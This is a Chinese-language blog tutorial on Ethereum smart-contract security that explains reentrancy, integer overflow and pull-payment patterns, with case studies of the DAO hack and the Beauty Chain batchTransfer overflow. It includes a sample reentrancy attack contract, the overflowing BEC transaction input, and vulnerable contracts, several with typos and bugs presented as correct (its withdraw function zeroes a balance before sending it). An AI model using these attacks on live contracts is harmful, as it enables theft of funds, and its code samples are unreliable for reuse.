以太坊智能合约dapp安全

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/bondsui/article/details/88097119

简介

solidity最为一种图灵完备的高级语言,可以支持比较复杂的智能合约编写,一般情况下,开发者可以根据需求开发一个合约项目,但不能保证没有黑客的攻击行为存在(也可能自己本身写的就有问题),因此安全性在合约中极为重要,另一方面,由于我们使用合约来持有代币,而智能合约被公开的执行,源代码很容易获得,代码中隐藏的bug和漏洞更容易被恶意攻击者发现。

常见的安全陷阱:

  • 私有状态:以太坊上没有私有,即使被标注为private也是公开可见的,因为每个全节点都可以拿到合约创建和调用的字节码,将执行后的结果保存在本地供验证,所有的变量都可以探测到
  • 随机:没有绝对的随机,可以查看一些开源项目RANDAO http://randao.org
  • 重入:一段程序执行被打断,并且在上一次调用未结束前再次调用的现象。
  • gas限制和循环:每一步操作都是用户以gas的相识付出响应的代价,对于非固定次数的循环,格外注意。(可以设定最大循环次数)
  • 数据权限 如 onlyOwner

一 DAPP开发注意

1 Throw errors early

尽早的暴漏错误,防止异常后续影响

contract GoodFailEarly{
    mapping(string => uint) nameToSalary;
    
    function getSalary(string name) constant returns(uint){
        if (bytes(name).length == 0) throw;
        if (nameToSalary[name] == 0) throw;
        return nameToSalary[name]
    }
}
  • throw 发生异常,消耗所有gas,没有异常信息,回滚交易

  • revert() 终止执行,消耗所有gas,回滚所有状态

  • require( bool) 返回剩余未使用的gas,回滚状态

    • 能使用require尽量使用require
  • assert 返回剩余未使用的gas,回滚状态

    • 校验溢出

    • 对修改后的变量值做合法性检查

2 checks-effects-interactions

结构化函数顺序代码

  • checks:执行前,先进行权限及安全性检查
  • effects:检查通过后,对合约状态变量进行更改
  • Interactions:合约状态变量更改后,在进行交互
function Demo{
    // 1 checks 检查条件
    if (now <= auctionStart + biddingTime)
        throw;
    if (ended)
        throw;
    // 2 effects 修改合约状态
    ended = true;
    AuctionEnded(highestBidder,highestId);
    
    // 3 合约交互
    if(!beneficiary.send(highestBit)){
        throw;
    }
}

3 use pull not push

当我们给一个地址发送WEI的时候,可能会触发执行一些代码,比如给一个合约地址发送以太,会触发回退函数。回退函数内部的操作有可能执行失败或者恶意代码,所以尽量不要用push

contract BadBid{
    address highestBidder;
    uint highestBid;
    function bid(){
        if (msg.value < highestBid) throw;
        if (highestBidder != 0){
            // 发送货币
            if(!highestBidder.send(highestBid)){
                throw;
            }
        }
        
        // 更换竞标信息
        highestBidder = msg.sender;
        highestBid = msg.value;
    }
}

如果highestBidder是一个合约地址,其中回退函数中 故意执行失败或者忘记写回退函数,导致无法更新竞标信息。

解决方案:

使用pull模式,支付分离,用户自己取回押金

contract BadBid{
    address highestBidder;
    uint highestBid;
    
    mapping(address=> uint) refunds;
    function bid() public {
        if (msg.value < highestBid) throw;
        if (highestBidder != 0){
           // 记录竞标者的金额
           refunds[highestBidder] += highestBid
        }
        // 更换竞标信息
        highestBidder = msg.sender;
        highestBid = msg.value;
    }
    
    // 用户使用pull 由合约进行push,即使失败也不影响合约。
    function witchdraw() {
        uint refund = refunds[msg.sender];
        refunds[msg.sender] =0 ;
        if(!msg.sender.send(refund)){
            refunds[msg.sender] = refund;
            //发送事件
        }
    }
}

4 boundary

在做整数运算的时候时刻注意上溢下溢检查,尤其是uint8等小数值类型。

uint8 a = 255;
uint8 b = 1;
uint8 c = 0;
// 整数上溢
function testadd() returns(uint8){
    return a+b; //255+1=0
}
// 整数下溢
function testsub()returns(uint 8){
    return c-b;//0-1=255
}

错误转账例子

function transfer(address to, uint256 value){
    // 检查余额
    if(balacdeOf(msg.sender)< value){
        throw;
    }
    // 更改账户余额
    balanceOf[msg.sender] -=value;
    balanceOf[to] += value;
}

正确转账例子:

function transfer(address to, uint256 value){
    // 检查余额
    if(balacdeOf(msg.sender)< value){
        throw;
    }
    // 溢出检查
    if(balanceOf[to]+value < balanceOf[to]){
        throw;
    }
    // 更改账户余额
    balanceOf[msg.sender] -=value;
    balanceOf[to] += value;
}

5 send、 transfer、 call

  • someAddress.send()and someAddress.transfer() are considered safe against reentrancy. While these methods still trigger code execution, the called contract is only given a stipend of 2,300 gas which is currently only enough to log an event.

  • x.transfer(y) is equivalent to require(x.send(y)), it will automatically revert if the send fails.

  • someAddress.call.value(y)() will send the provided ether and trigger code execution. The executed code is given all available gas for execution making this type of value transfer unsafe against reentrancy.

    合理的调用send transfer call 防止重入攻击和多余gas消耗

代码实例,地址:https://github.com/bigsui/eth-game-tictactoe

pragma solidity ^0.4.24;

contract TicTacToe {
    uint constant GAME_COST = 1 ether;
    uint8 constant GAME_BOARD_SIZE = 3;
    uint constant TIME_INTERVAL = 1 minutes;

    address[GAME_BOARD_SIZE][GAME_BOARD_SIZE] public board; //游戏面板

    address public   player1;
    address public player2;
    address public activePlayer;  //当前玩家
    bool gameActive = false; // 游戏是否开始
    uint steps = 0;    //游戏步数
    uint withDrawBalance1;  //用户1余额
    uint withDrawBalance2;  //用户2余额
    uint timeValid;

    event GameStart(address player1,address player2); // 玩家加入事件
    event NextPlayer(address nextPlayer);   // 下一个玩家
    event GameOver(address winner);    // 游戏结束事件
    event Withdraw(address to, uint balance); // 支付成功

    constructor() public payable{
        require(msg.value == GAME_COST);
        player1 = msg.sender;

        // 超时时间判断
        timeValid = now + TIME_INTERVAL;
    }

    // 加入游戏
    function joinGame() public payable {
        ...
    }

    //获取游戏面板
    function getBoard() public view returns (address[GAME_BOARD_SIZE][GAME_BOARD_SIZE]) {
        return board;
    }

    function setPosition(uint8 x, uint8 y) public {
       ...

        // 行 00,01,02
        for (uint8 i = 0; i < GAME_BOARD_SIZE; i++) {
            if (board[x][i] != activePlayer) {
                break;
            }

            if (i == GAME_BOARD_SIZE - 1) {
                setWinner(activePlayer);
                return;
            }
        }

        // 列  01,11,21
        for (i = 0; i < GAME_BOARD_SIZE; i++) {
            if (board[i][y] != activePlayer) {
                break;
            }

            if (i == GAME_BOARD_SIZE - 1) {
                setWinner(activePlayer);
                return;
            }
        }


        // 对角线 00,11,22
        if (x == y) {
            for (i = 0; i < GAME_BOARD_SIZE; i++) {
                if (board[i][i] != activePlayer) {
                    break;
                }
                // win
                if (i == GAME_BOARD_SIZE - 1) {
                    setWinner(activePlayer);
                    return;
                }
            }
        }

        // 反对角线 02,11,20
        if (x + y == GAME_BOARD_SIZE - 1) {
            for (i = 0; i < GAME_BOARD_SIZE; i++) {
                if (board[i][GAME_BOARD_SIZE - i - 1] != activePlayer) {
                    break;
                }
                // win
                if (i == GAME_BOARD_SIZE - 1) {
                    setWinner(activePlayer);
                    return;
                }
            }
        }

        // 平局
        if (steps == GAME_BOARD_SIZE * GAME_BOARD_SIZE) {
            // 提现
            setDraw();
            return ;
        }

        if (msg.sender == player1) {
            activePlayer = player2;
        } else {
            activePlayer = player1;
        }
        emit NextPlayer(activePlayer);
    }

    function setWinner(address player) private {
        gameActive = false;
        // 发送消息
        emit GameOver(player);
        // 转账 如果发送失败,允许用户提现
        uint payBalance = address(this).balance;
        if (!player.send(payBalance)) {
            if (player == player1) {
                withDrawBalance1 = payBalance;
            } else {
                withDrawBalance2 = payBalance;
            }
        } else {
           emit Withdraw(player, payBalance);
        }
    }


    // 设置平局
    function setDraw() private {
        gameActive = false;
        emit GameOver(0);
        uint payBalance = address(this).balance / 2;

        // 用户1提现
        if (!player1.send(GAME_COST)) {
            withDrawBalance1 = payBalance;
        } else {
            emit Withdraw(player1, payBalance);
        }

        // 用户2 提现
        if (!player2.send(GAME_COST)) {
            withDrawBalance2 = payBalance;
        } else {
           emit Withdraw(player2, payBalance);
        }
    }

    // 允许用户提现
    function withdraw() public {
        if (msg.sender == player1) {
            // 先修改状态,在transfer
            require(withDrawBalance1 > 0);
            withDrawBalance1 = 0;
            player1.transfer(withDrawBalance1);

            // 提现消息
            emit  Withdraw(player1, withDrawBalance1);
        } else if (msg.sender == player2) {
            require(withDrawBalance2 > 0);
            withDrawBalance2 = 0;
            player2.transfer(withDrawBalance2);
            emit Withdraw(player2, withDrawBalance2);
        }
    }

    function drawback() public {
        require(timeValid < now); // 超时之后可以提现
        if (!gameActive) {
            // 如果游戏没开始,退款给创建者
            setWinner(player1);
        }else{
            //如果已经开始, 平局退款流程
            setDraw();
            // TODO 恶意退出游戏,应该退全部赌给该赢的玩家
        }
    }
}

6 other

  1. 不要使用 var自动推导

    for (var i =0 ; i< length ;i++)
    

    编译器默认为uint8,最大值为255,当length大于255时,会溢出,变为0,而循环不会终止。

下面通过几个例子,看真实世界中,合约安全引发的漏洞

二 合约安全示例 ——竞标

重入攻击实例

竞标拍卖v1

contract SimpleAuctionV1 {
    // 受益人
    adress public baneficiary;
   // 结束时间
    uint public auctionEnd;
    // 最高出价人
    address public highestBidder;
    // 所有出价
    mapping(address => uint) bits;
    // 竞拍者
    address[] bidders;
    // 结束表示
    bool ended;
    
    constructor(uint _biddingTime,adddress _ beneficiary) public {
       // ...
    }
    // 竞拍出价 payable
    function bid() public payable{
        // 拍卖未结束
       require(now <= auctionEnd);
        // 有效出价必须大于最高价
       require(bids[msg.sender]+ msg.value) > bids[highestBidder]);
        // 如果未出价加入到竞拍者中
        if(!bids[msg.sender]==uint(0)){
            bidders.push(msg.sender);
        }
        // 更新最高价
        highestBidder = msg.sender;
        bids[msg.sender] += msg.value;
        // 发送消息
        emit HighestBidIncreased(msg.sender,bids[msg.sender]);
    }
    
    function auctionEnd() public{
        // 拍卖时间结束
       require(now > auctionEnd);
        // 活动未完成,此未提现
        require(!ended);
        // 转账给受益人
        baneficiary.transfer(bids[highestBidder])// 退钱
        for(uint i = 0; i < bidders.length; i++){
            address bidder = bidders[i];
            if (bidder == highestBidder) continue;
            bidder.transfer(bids[bidder]);
        }
        //活动完成
        ended = true;
    }
}

v1问题

假如参与竞拍者为一段合约

contract hackV1{
    function hackBid(address addr) payable public{
        SimpleAuctionV1 s = SimpleAuctionV1(addr);
        s.bid.value(msg.value);
    }
}

hk通过创建一个合约,调用hackBid函数,把合约地址转换为合约实例,间接调用竞拍函数bid

循环退款时,当处理到转账时,会调用fallback函数,但上述攻击合约并没有声明fallback。transfer失败。

question? 加入参与竞拍20人,黑客为第10个?谁能收到钱?

 function auctionEnd() public{
    ...
    baneficiary.transfer(bids[highestBidder])// 退钱
        for(uint i = 0; i < bidders.length; i++){
            address bidder = bidders[i];
            if (bidder == highestBidder) continue;
            bidder.transfer(bids[bidder]);
        }
     //活动完成
     ended = true;
    }

竞标拍卖V2

pull not push更改,分离支付,增加用户自己提现功能

function widthdraw() public returns (bool){
    // check 校验
    require(now > auctionEnd);
    require(msg.sender != highestBidder);
    require(bids[msg.sender] > 0);
    
    uint amount = bids[msg.sender];
    if (msg.sender.call.value(amount)){
        bids[msg.sender] =0;
        return true;
    }
    return false;
}

function pay2Beneficiary() public returns (bool){
    require(now > auctionEnd);
    // 有钱可以支付
    require(bids[highestBidder] > 0);
    
    uint amount = bids[hithestBidder];
    // 清零
    bids[highestBidder] =0;
    
    emit pay2Beneficiary(highestBidder,amount);
    
     if (!highestBidder.send.value(amount)){
        bids[highestBidder] = amount;
        return false;
    }
    return true;
    
}

V2问题

当合约收到以太币未调用函数是,会立刻执行fallback函数

  • address.send

  • address.transfer

  • address.cal.value

    contract hackV2{
        uint stack = 0;
        
        function hackBid(address addr) payable public{
            SimpleAuctionV1 s = SimpleAuctionV1(addr);
            s.bid.value(msg.value);
        }
        
        function hancWidthdraw(address addr) public payable{
             SimpleAuctionV1(addr).widthdraw();
        }
        
        function() public payable(){
            stack += 2;
            if(msg.sender.balance >= msg.value && msg.gas > 6000 && stack < 500){
                SimpleAuctionV1(addr).widthdraw();
            }
        }
    }
    

当黑客调用widthdraw时,会自动执行黑客合约的fallback,如果条件满足,会发起第二次提现。

简单解决

1 checks-effects模式,先清零

send ,transfer 转账时只有2300个汽油费,不足以支撑第二次交易

三 1.5亿美金的函数

DAO简介,eth由来

V神理想之:DAO可到,非常道**

比特币实现了去中心化的货币

以太坊实现了去中心化的合约

DAO:基于区块实现了去中心化组织。

THE DAO:一个民主的投资基金,本质运行在以太坊上的一个智能合约,通过众筹的方式参与,获得项目投资。

问题

投资理念:尊重少数人的意见

split DAO:

child DAO:

获得收益:a personal child DAO

拆分7天的讨论期,拆分后有28天的锁定期

项目合约

合约地址:https://etherscan.io/address/0x304a554a310c7e546dfe434669c62820b7d83490

image-20190302224822091

一个价值1.5亿美元的函数

contract DAO:


function splitDAO(
        uint _proposalID,
        address _newCurator
    ) noEther onlyTokenholders returns (bool _success) {

        Proposal p = proposals[_proposalID];

        // Sanity check

        if (now < p.votingDeadline  // has the voting deadline arrived?
            //The request for a split expires XX days after the voting deadline
            || now > p.votingDeadline + splitExecutionPeriod
            // Does the new Curator address match?
            || p.recipient != _newCurator
            // Is it a new curator proposal?
            || !p.newCurator
            // Have you voted for this split?
            || !p.votedYes[msg.sender]
            // Did you already vote on another proposal?
            || (blocked[msg.sender] != _proposalID && blocked[msg.sender] != 0) )  {
            throw;
        }
             // If the new DAO doesn't exist yet, create the new DAO and store the
        // current split data
        if (address(p.splitData[0].newDAO) == 0) {
            p.splitData[0].newDAO = createNewDAO(_newCurator);
            // Call depth limit reached, etc.
            if (address(p.splitData[0].newDAO) == 0)
                throw;
            // should never happen
            if (this.balance < sumOfProposalDeposits)
                throw;
            p.splitData[0].splitBalance = actualBalance();
            p.splitData[0].rewardToken = rewardToken[address(this)];
            p.splitData[0].totalSupply = totalSupply;
            p.proposalPassed = true;
        }

        // Move ether and assign new Tokens
        uint fundsToBeMoved =
            (balances[msg.sender] * p.splitData[0].splitBalance) /
            p.splitData[0].totalSupply;
        if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false)
            throw;


        // Assign reward rights to new DAO
        uint rewardTokenToBeMoved =
            (balances[msg.sender] * p.splitData[0].rewardToken) /
            p.splitData[0].totalSupply;

        uint paidOutToBeMoved = DAOpaidOut[address(this)] * rewardTokenToBeMoved /
            rewardToken[address(this)];

        rewardToken[address(p.splitData[0].newDAO)] += rewardTokenToBeMoved;
        if (rewardToken[address(this)] < rewardTokenToBeMoved)
            throw;
        rewardToken[address(this)] -= rewardTokenToBeMoved;

        DAOpaidOut[address(p.splitData[0].newDAO)] += paidOutToBeMoved;
        if (DAOpaidOut[address(this)] < paidOutToBeMoved)
            throw;
        DAOpaidOut[address(this)] -= paidOutToBeMoved;
            
            
		// 重入攻击
        // Burn DAO Tokens
        Transfer(msg.sender, 0, balances[msg.sender]);
        withdrawRewardFor(msg.sender); // be nice, and get his rewards
        totalSupply -= balances[msg.sender];
        balances[msg.sender] = 0;
        paidOut[msg.sender] = 0;
        return true;
    }

// 退回投资基金函数
 function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
        if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
            throw;

        uint reward =
            (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];
        if (!rewardAccount.payOut(_account, reward))
            throw;
        paidOut[_account] += reward;
        return true;
    }

// 转账函数
// contract ManagedAccount is ManagedAccountInterface
function payOut(address _recipient, uint _amount) returns (bool) {
        if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))
            throw;
            // call.value
        if (_recipient.call.value(_amount)()) {
            PayOut(_recipient, _amount);
            return true;
        } else {
            return false;
        }
    }

补救措施

一派支持回滚,一派支持承认交易。code is law!

too big to fail:V神支持处理处理此交易。回滚交易。

两步走:1锁定,2清退

image-20190303113814351

补救1

升级矿工客户端,只要是和THE DAO有关的交易账户,不允许交易。大部分矿工升级,临时软分叉通过升级进行解决。旧矿工新矿工临时不能达成共识。

但是,此软件升级有bug:导致恶意攻击,大量浪费矿工资源,最终各矿工降低版本

补救2

软分叉执行失败,被迫执行硬分叉

软件升级,THE DAO设计资金转到新合约(仅包含退款的功能)192万区块自动执行交易。

结果

分叉结果通过合约进行投票,大部分人支持分叉,黑客攻击被遏制。部分人仍坚持原主链。

新链成为ETH,旧链成为ETC(以太经典)。通过chainId进行区分

chainId chain
1 eth
2 morden
3 Ropsten
4 RinKeby
30 RootStock main
31 rootStock test
42 kovan
61 etc main
62 etc test
1337 private chains

四 一行代码蒸发60亿

Beauty Chain ——ERC20代币

2018年2月24日美链(BEC)上线Okex,当天暴F涨4000%,一路飙升到80刀,随后不到一个半月时间跌至0.1836刀。从最高点暴跌了99.75%,接近归零。2018.04.22来源okex

image-20190303010115451

image-20190303010022900

ICO

ERC20

 contract ERC20 {
 	string public constant name = "Token Name";
	string public constant symbol = "SYM";
	uint8 public constant decimals = 18;  // 大部分都是18
    function totalSupply() constant returns (uint totalSupply);
    function balanceOf(address _owner) constant returns (uint balance);
    function transfer(address _to, uint _value) returns (bool success);
    function transferFrom(address _from, address _to, uint _value) returns (bool success);
    function approve(address _spender, uint _value) returns (bool success);
    function allowance(address _owner, address _spender) constant returns (uint remaining);
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
    }

一笔64亿的交易

交易id:

image-20190303005455385

缘由

代币发送逻辑是:给接收方(recevers)发送代币,指定金额,这个金额的数量一定要大于发币方账户里面的代币数量。这样一笔转账才能正常进行。

正常的智能合约这样设计逻辑是没有问题的,但是美链的智能合约出现了一个很低级的错误:

contract PausableToken is StandardToken, Pausable {
  
  function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
    uint cnt = _receivers.length;
     // 发送总金额
    uint256 amount = uint256(cnt) * _value;
    require(cnt > 0 && cnt <= 20);// 最多20个
     // 检查发起账户余额
    require(_value > 0 && balances[msg.sender] >= amount);
	// 减去发起账户余额
    balances[msg.sender] = balances[msg.sender].sub(amount);
      // 循环发送代币
    for (uint i = 0; i < cnt; i++) {
        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        Transfer(msg.sender, _receivers[i], _value);
    }
    return true;
  }
}

https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code

uint256 amount = uint256(cnt) * _value; 这句没有进行溢出判断,
也就是说,假设uint256最大值为MAX的话,如果转账数值 uint256(cnt) * _value == MAX+1,则amount=0,
转账的时候,sender账户-amount,而接受者账户+_value,至此,就能够无限转账BEC了。

input Data

Function: batchTransfer(address[] _receivers, uint256 _value)

MethodID: 0x83f12fec
[0]:  0000000000000000000000000000000000000000000000000000000000000040
[1]:  8000000000000000000000000000000000000000000000000000000000000000
[2]:  0000000000000000000000000000000000000000000000000000000000000002
[3]:  000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033
[4]:  0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7
# Name Type Data
0 _receivers address[] b4d30cac5124b46c2df0cf3e3e1be05f42119033 0e823ffe018727585eaf5bc769fa80472f76c3d7
1 _value uint256 57896044618658097711785492504343953926634992332820282019728792003956564819968

https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f

更可悲的

更可悲的是代码中已经实现了安全函数,但未使用

library SafeMath {
  function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal constant returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal constant returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

猜你喜欢

转载自blog.csdn.net/bondsui/article/details/88097119